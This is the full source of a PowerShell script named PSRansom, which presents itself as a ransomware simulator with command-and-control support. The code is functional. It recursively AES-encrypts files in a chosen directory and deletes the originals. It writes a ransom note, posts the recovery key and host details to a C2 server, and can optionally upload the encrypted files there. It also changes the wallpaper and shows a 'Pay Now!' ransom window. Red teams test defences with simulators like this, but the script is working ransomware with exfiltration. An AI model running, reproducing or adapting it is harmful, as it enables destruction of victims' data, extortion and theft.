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PSRansom.ps1
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PSRansom.ps1
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#================================#
# PSRansom by @JoelGMSec #
# https://darkbyte.net #
#================================#
# Design
$ProgressPreference = "SilentlyContinue"
$ErrorActionPreference = "SilentlyContinue"
$OSVersion = [Environment]::OSVersion.Platform
if ($OSVersion -like "*Win*") {
$Host.UI.RawUI.WindowTitle = "PSRansom - by @JoelGMSec"
$Host.UI.RawUI.BackgroundColor = "Black"
$Host.UI.RawUI.ForegroundColor = "White" }
# Banner
function Show-Banner {
Write-Host
Write-Host " ____ ____ ____ " -ForegroundColor Blue
Write-Host " | _ \/ ___|| _ \ __ _ _ __ ___ ___ _ __ ___ " -ForegroundColor Blue
Write-Host " | |_) \___ \| |_) / _' | '_ \/ __|/ _ \| '_ ' _ \ " -ForegroundColor Blue
Write-Host " | __/ ___) | _ < (_| | | | \__ \ (_) | | | | | | " -ForegroundColor Blue
Write-Host " |_| |____/|_| \_\__,_|_| |_|___/\___/|_| |_| |_| " -ForegroundColor Blue
Write-Host
Write-Host " ----------------- by @JoelGMSec ---------------- " -ForegroundColor Green }
# Help
function Show-Help {
Write-host ; Write-Host " Info: " -ForegroundColor Yellow -NoNewLine ; Write-Host " This tool helps you simulate encryption process of a"
Write-Host " generic ransomware in PowerShell with C2 capabilities"
Write-Host ; Write-Host " Usage: " -ForegroundColor Yellow -NoNewLine ; Write-Host ".\PSRansom.ps1 -e Directory -s C2Server -p C2Port" -ForegroundColor Blue
Write-Host " Encrypt all files & sends recovery key to C2Server" -ForegroundColor Green
Write-Host " Use -x to exfiltrate and decrypt files on C2Server" -ForegroundColor Green
Write-Host ; Write-Host " .\PSRansom.ps1 -d Directory -k RecoveryKey" -ForegroundColor Blue
Write-Host " Decrypt all files with recovery key string" -ForegroundColor Green
Write-Host ; Write-Host " Warning: " -ForegroundColor Red -NoNewLine ; Write-Host "All info will be sent to the C2Server without any encryption"
Write-Host " " -NoNewLine ; Write-Host " You need previously generated recovery key to retrieve files" ; Write-Host }
# Variables
$Mode = $args[0]
$Directory = $args[1]
$PSRKey = $args[3]
$C2Server = $args[3]
$C2Port = $args[5]
$Exfil = $args[6]
$C2Status = $null
# Errors
if ($args[0] -like "-h*") { Show-Banner ; Show-Help ; break }
if ($args[0] -eq $null) { Show-Banner ; Show-Help ; Write-Host "[!] Not enough parameters!" -ForegroundColor Red ; Write-Host ; break }
if ($args[1] -eq $null) { Show-Banner ; Show-Help ; Write-Host "[!] Not enough parameters!" -ForegroundColor Red ; Write-Host ; break }
if ($args[2] -eq $null) { Show-Banner ; Show-Help ; Write-Host "[!] Not enough parameters!" -ForegroundColor Red ; Write-Host ; break }
if ($args[3] -eq $null) { Show-Banner ; Show-Help ; Write-Host "[!] Not enough parameters!" -ForegroundColor Red ; Write-Host ; break }
# Proxy Aware
[System.Net.WebRequest]::DefaultWebProxy = [System.Net.WebRequest]::GetSystemWebProxy()
[System.Net.WebRequest]::DefaultWebProxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
$AllProtocols = [System.Net.SecurityProtocolType]"Ssl3,Tls,Tls11,Tls12" ; [System.Net.ServicePointManager]::SecurityProtocol = $AllProtocols
# Functions
$computer = ([Environment]::MachineName).ToLower() ; $user = ([Environment]::UserName).ToLower() ; $Readme = "readme.txt"
$Time = Get-Date -Format "HH:mm - dd/MM/yy" ; $TMKey = $time.replace(":","").replace(" ","").replace("-","").replace("/","")+$computer
if ($OSVersion -like "*Win*") { $domain = (([Environment]::UserDomainName).ToLower()+"\") ; $slash = "\" } else { $domain = $null ; $slash = "/" }
$DirectoryTarget = $Directory.Split($slash)[-1] ; if (!$DirectoryTarget) { $DirectoryTarget = $Directory.Path.Split($slash)[-1] }
function Invoke-AESEncryption {
[CmdletBinding()]
[OutputType([string])]
Param(
[Parameter(Mandatory = $true)]
[ValidateSet("Encrypt", "Decrypt")]
[String]$Mode,
[Parameter(Mandatory = $true)]
[String]$Key,
[Parameter(Mandatory = $true, ParameterSetName = "CryptText")]
[String]$Text,
[Parameter(Mandatory = $true, ParameterSetName = "CryptFile")]
[String]$Path)
Begin {
$shaManaged = New-Object System.Security.Cryptography.SHA256Managed
$aesManaged = New-Object System.Security.Cryptography.AesManaged
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256 }
Process {
$aesManaged.Key = $shaManaged.ComputeHash([System.Text.Encoding]::UTF8.GetBytes($Key))
switch ($Mode) {
"Encrypt" {
if ($Text) {$plainBytes = [System.Text.Encoding]::UTF8.GetBytes($Text)}
if ($Path) {
$File = Get-Item -Path $Path -ErrorAction SilentlyContinue
if (!$File.FullName) { break }
$plainBytes = [System.IO.File]::ReadAllBytes($File.FullName)
$outPath = $File.FullName + ".psr" }
$encryptor = $aesManaged.CreateEncryptor()
$encryptedBytes = $encryptor.TransformFinalBlock($plainBytes, 0, $plainBytes.Length)
$encryptedBytes = $aesManaged.IV + $encryptedBytes
$aesManaged.Dispose()
if ($Text) {return [System.Convert]::ToBase64String($encryptedBytes)}
if ($Path) {
[System.IO.File]::WriteAllBytes($outPath, $encryptedBytes)
(Get-Item $outPath).LastWriteTime = $File.LastWriteTime }}
"Decrypt" {
if ($Text) {$cipherBytes = [System.Convert]::FromBase64String($Text)}
if ($Path) {
$File = Get-Item -Path $Path -ErrorAction SilentlyContinue
if (!$File.FullName) { break }
$cipherBytes = [System.IO.File]::ReadAllBytes($File.FullName)
$outPath = $File.FullName.replace(".psr","") }
$aesManaged.IV = $cipherBytes[0..15]
$decryptor = $aesManaged.CreateDecryptor()
$decryptedBytes = $decryptor.TransformFinalBlock($cipherBytes, 16, $cipherBytes.Length - 16)
$aesManaged.Dispose()
if ($Text) {return [System.Text.Encoding]::UTF8.GetString($decryptedBytes).Trim([char]0)}
if ($Path) {
[System.IO.File]::WriteAllBytes($outPath, $decryptedBytes)
(Get-Item $outPath).LastWriteTime = $File.LastWriteTime }}}}
End {
$shaManaged.Dispose()
$aesManaged.Dispose()}}
function RemoveWallpaper {
$code = @"
using System;
using System.Drawing;
using System.Runtime.InteropServices;
using Microsoft.Win32;
namespace CurrentUser { public class Desktop {
[DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)]
private static extern int SystemParametersInfo(int uAction, int uParm, string lpvParam, int fuWinIni);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern int SetSysColors(int cElements, int[] lpaElements, int[] lpRgbValues);
public const int UpdateIniFile = 0x01; public const int SendWinIniChange = 0x02;
public const int SetDesktopBackground = 0x0014; public const int COLOR_DESKTOP = 1;
public int[] first = {COLOR_DESKTOP};
public static void RemoveWallPaper(){
SystemParametersInfo( SetDesktopBackground, 0, "", SendWinIniChange | UpdateIniFile );
RegistryKey regkey = Registry.CurrentUser.OpenSubKey("Control Panel\\Desktop", true);
regkey.SetValue(@"WallPaper", 0); regkey.Close();}
public static void SetBackground(byte r, byte g, byte b){ int[] elements = {COLOR_DESKTOP};
RemoveWallPaper();
System.Drawing.Color color = System.Drawing.Color.FromArgb(r,g,b);
int[] colors = { System.Drawing.ColorTranslator.ToWin32(color) };
SetSysColors(elements.Length, elements, colors);
RegistryKey key = Registry.CurrentUser.OpenSubKey("Control Panel\\Colors", true);
key.SetValue(@"Background", string.Format("{0} {1} {2}", color.R, color.G, color.B));
key.Close();}}}
"@
try { Add-Type -TypeDefinition $code -ReferencedAssemblies System.Drawing.dll }
finally {[CurrentUser.Desktop]::SetBackground(250, 25, 50)}}
function PopUpRansom {
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")
[void] [System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms")
[void] [System.Windows.Forms.Application]::EnableVisualStyles()
Invoke-WebRequest -useb https://raw.githubusercontent.com/JoelGMSec/PSRansom/main/Demo/PSRansom.jpg -Outfile $env:temp\PSRansom.jpg
Invoke-WebRequest -useb https://raw.githubusercontent.com/JoelGMSec/PSRansom/main/Demo/PSRansom.ico -Outfile $env:temp\PSRansom.ico
$shell = New-Object -ComObject "Shell.Application"
$shell.minimizeall()
$form = New-Object system.Windows.Forms.Form
$form.ControlBox = $false;
$form.Size = New-Object System.Drawing.Size(900,600)
$form.BackColor = "Black"
$form.MaximizeBox = $false
$form.StartPosition = "CenterScreen"
$form.WindowState = "Normal"
$form.Topmost = $true
$form.FormBorderStyle = "Fixed3D"
$form.Text = "PSRansom by @JoelGMSec - https://github.com/JoelGMSec/PSRansom"
$formIcon = New-Object system.drawing.icon ("$env:temp\PSRansom.ico")
$form.Icon = $formicon
$img = [System.Drawing.Image]::Fromfile("$env:temp\PSRansom.jpg")
$pictureBox = new-object Windows.Forms.PictureBox
$pictureBox.Width = 920
$pictureBox.Height = 370
$pictureBox.SizeMode = "StretchImage"
$pictureBox.Image = $img
$form.controls.add($pictureBox)
$label = New-Object System.Windows.Forms.Label
$label.ForeColor = "Cyan"
$label.Text = "All your files have been encrypted by PSRansom!"
$label.AutoSize = $true
$label.Location = New-Object System.Drawing.Size(50,400)
$font = New-Object System.Drawing.Font("Consolas",15,[System.Drawing.FontStyle]::Bold)
$form.Font = $Font
$form.Controls.Add($label)
$label1 = New-Object System.Windows.Forms.Label
$label1.ForeColor = "White"
$label1.Text = "But don't worry, you can still recover them with the recovery key :)"
$label1.AutoSize = $true
$label1.Location = New-Object System.Drawing.Size(50,450)
$font1 = New-Object System.Drawing.Font("Consolas",15,[System.Drawing.FontStyle]::Bold)
$form.Font = $Font1
$form.Controls.Add($label1)
$okbutton = New-Object System.Windows.Forms.Button;
$okButton.Location = New-Object System.Drawing.Point(750,500)
$okButton.Size = New-Object System.Drawing.Size(110,35)
$okbutton.ForeColor = "Black"
$okbutton.BackColor = "White"
$okbutton.FlatStyle = [System.Windows.Forms.FlatStyle]::Flat
$okButton.Text = 'Pay Now!'
$okbutton.Visible = $false
$okbutton.Enabled = $true
$okButton.DialogResult = [System.Windows.Forms.DialogResult]::OK
$okButton.add_Click({
[System.Windows.Forms.MessageBox]::Show($this.ActiveForm, 'Your payment order has been registered!', 'PSRansom Payment System',
[Windows.Forms.MessageBoxButtons]::"OK", [Windows.Forms.MessageBoxIcon]::"Warning")})
$form.AcceptButton = $okButton
$form.Controls.Add($okButton)
$form.Activate() 2>&1> $null
$form.Focus() 2>&1> $null
$btn=New-Object System.Windows.Forms.Label
$btn.Location = New-Object System.Drawing.Point(50,500)
$btn.Width = 500
$form.Controls.Add($btn)
$btn.ForeColor = "Red"
$startTime = [DateTime]::Now
$count = 10.6
$timer=New-Object System.Windows.Forms.Timer
$timer.add_Tick({$elapsedSeconds = ([DateTime]::Now - $startTime).TotalSeconds ; $remainingSeconds = $count - $elapsedSeconds
if ($remainingSeconds -like "-0.1*"){ $timer.Stop() ; $okbutton.Visible = $true ; $btn.Text = "0 Seconds remaining.." }
$btn.Text = [String]::Format("{0} Seconds remaining..", [math]::round($remainingSeconds))})
$timer.Start()
$btntest = $form.ShowDialog()
if ($btntest -like "OK"){ $Global:PayNow = "True" }}
Remove-Item $env:temp\PSRansom* -force
function R64Encoder {
if ($args[0] -eq "-t") { $base64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($args[1])) }
if ($args[0] -eq "-f") { $base64 = [Convert]::ToBase64String([IO.File]::ReadAllBytes($args[1])) }
$base64 = $base64.Split("=")[0] ; $base64 = $base64.Replace("+", "-") ; $base64 = $base64.Replace("/", "_")
$revb64 = $base64.ToCharArray() ; [array]::Reverse($revb64) ; $R64Base = -join $revb64 ; return $R64Base }
function ShowInfo {
Write-Host ; Write-Host "[>] Hostname: " -NoNewLine -ForegroundColor Yellow ; Write-Host $computer
Write-Host "[>] Current User: " -NoNewLine -ForegroundColor Yellow ; Write-Host $domain$user
Write-Host "[>] Current Time: " -NoNewLine -ForegroundColor Yellow ; Write-Host $time }
function GetStatus {
Try { Invoke-WebRequest -useb "$C2Server`:$C2Port/status" -Method GET
Write-Host "[i] Command & Control Server is up!" -ForegroundColor Green }
Catch { Write-Host "[!] Command & Control Server is down!" -ForegroundColor Red }}
function SendResults {
$DESKey = Invoke-AESEncryption -Mode Encrypt -Key $TMKey -Text $PSRKey ; $B64Key = R64Encoder -t $DESKey
$C2Data = " [>] Key: $B64Key [>] Hostname: $computer [>] Current User: $domain$user [>] Current Time: $time"
$RansomLogs = Get-Content "$Directory$slash$Readme" | Select-String "[!]" | Select-String "PSRansom!" -NotMatch
$B64Data = R64Encoder -t $C2Data ; $B64Logs = R64Encoder -t $RansomLogs
Invoke-WebRequest -useb "$C2Server`:$C2Port/data" -Method POST -Body $B64Data 2>&1> $null
Invoke-WebRequest -useb "$C2Server`:$C2Port/logs" -Method POST -Body $B64Logs 2>&1> $null }
function SendClose {
Invoke-WebRequest -useb "$C2Server`:$C2Port/close" -Method GET 2>&1> $null }
function SendPay {
Invoke-WebRequest -useb "$C2Server`:$C2Port/pay" -Method GET 2>&1> $null }
function SendOK {
Invoke-WebRequest -useb "$C2Server`:$C2Port/done" -Method GET 2>&1> $null }
function CreateReadme {
$ReadmeTXT = "All your files have been encrypted by PSRansom!`nBut don't worry, you can still recover them with the recovery key :)`n"
if (!(Test-Path "$Directory$slash$Readme")) { Add-Content -Path "$Directory$slash$Readme" -Value $ReadmeTXT
Add-Content -Path "$Directory$slash$Readme" -Value "Recovery Key: $PSRKey `n" }}
function EncryptFiles {
$ExcludedFiles = '*.psr', 'readme.txt', '*.dll', '*.ini', '*.sys', '*.exe', '*.msi', '*.NLS', '*.acm', '*.nls', '*.EXE', '*.dat', '*.efi', '*.mui'
foreach ($i in $(Get-ChildItem $Directory -recurse -exclude $ExcludedFiles | Where-Object { ! $_.PSIsContainer } | ForEach-Object { $_.FullName })) {
Invoke-AESEncryption -Mode Encrypt -Key $PSRKey -Path $i ; Add-Content -Path "$Directory$slash$Readme" -Value "[!] $i is now encrypted" ; Remove-Item $i }
$RansomLogs = Get-Content "$Directory$slash$Readme" | Select-String "[!]" | Select-String "PSRansom!" -NotMatch ; if (!$RansomLogs) {
Add-Content -Path "$Directory$slash$Readme" -Value "[!] No files have been encrypted!" }}
function ExfiltrateFiles {
Invoke-WebRequest -useb "$C2Server`:$C2Port/files" -Method GET 2>&1> $null
$RansomLogs = Get-Content "$Directory$slash$Readme" | Select-String "No files have been encrypted!" ; if (!$RansomLogs) {
foreach ($i in $(Get-ChildItem $Directory -recurse -filter *.psr | Where-Object { ! $_.PSIsContainer } | ForEach-Object { $_.FullName })) {
$Pfile = $i.split($slash)[-1] ; $B64file = R64Encoder -f $i ; $B64Name = R64Encoder -t $Pfile
Invoke-WebRequest -useb "$C2Server`:$C2Port/files/$B64Name" -Method POST -Body $B64file 2>&1> $null }}
else { $B64Name = R64Encoder -t "none.null" ; Invoke-WebRequest -useb "$C2Server`:$C2Port/files/$B64Name" -Method POST -Body $B64file 2>&1> $null }}
function DecryptFiles {
foreach ($i in $(Get-ChildItem $Directory -recurse -filter *.psr | Where-Object { ! $_.PSIsContainer } | ForEach-Object { $_.FullName })) {
Invoke-AESEncryption -Mode Decrypt -Key $PSRKey -Path $i ; $rfile = $i.replace(".psr","")
Write-Host "[+] $rfile is now decrypted" -ForegroundColor Blue } ; Remove-Item "$Directory$slash$Readme" }
function CheckFiles {
$RFiles = Get-ChildItem $Directory -recurse -filter *.psr ; if ($RFiles) { $RFiles | Remove-Item } else {
Write-Host "[!] No encrypted files has been found!" -ForegroundColor Red }}
# Main
Show-Banner ; ShowInfo
if ($Mode -eq "-d") {
Write-Host ; Write-Host "[!] Recovering ransomware infection on $DirectoryTarget directory.." -ForegroundColor Red
Write-Host "[i] Applying recovery key on encrypted files.." -ForegroundColor Green
DecryptFiles ; CheckFiles ; sleep 1 }
else {
Write-Host ; Write-Host "[!] Simulating ransomware infection on $DirectoryTarget directory.." -ForegroundColor Red
Write-Host "[+] Checking communication with Command & Control Server.." -ForegroundColor Blue
$C2Status = GetStatus ; sleep 1
Write-Host "[+] Generating new random string key for encryption.." -ForegroundColor Blue
$PSRKey = -join ( (48..57) + (65..90) + (97..122) | Get-Random -Count 24 | % {[char]$_})
Write-Host "[!] Encrypting all files with 256 bits AES key.." -ForegroundColor Red
CreateReadme ; EncryptFiles ; if ($C2Status) { SendResults ; sleep 1
if ($Exfil -eq "-x") { Write-Host "[i] Exfiltrating files to Command & Control Server.." -ForegroundColor Green
ExfiltrateFiles ; sleep 1 }}
if (!$C2Status) { Write-Host "[+] Saving logs and key in readme.txt.." -ForegroundColor Blue }
else { Write-Host "[+] Sending logs and key to Command & Control Server.." -ForegroundColor Blue }}
if ($args -like "-demo") { RemoveWallpaper ; PopUpRansom
if ($PayNow -eq "True") { SendPay ; SendOK } else { SendClose ; SendOK }}
else { SendOK }
sleep 1 ; Write-Host "[i] Done!" -ForegroundColor Green ; Write-Host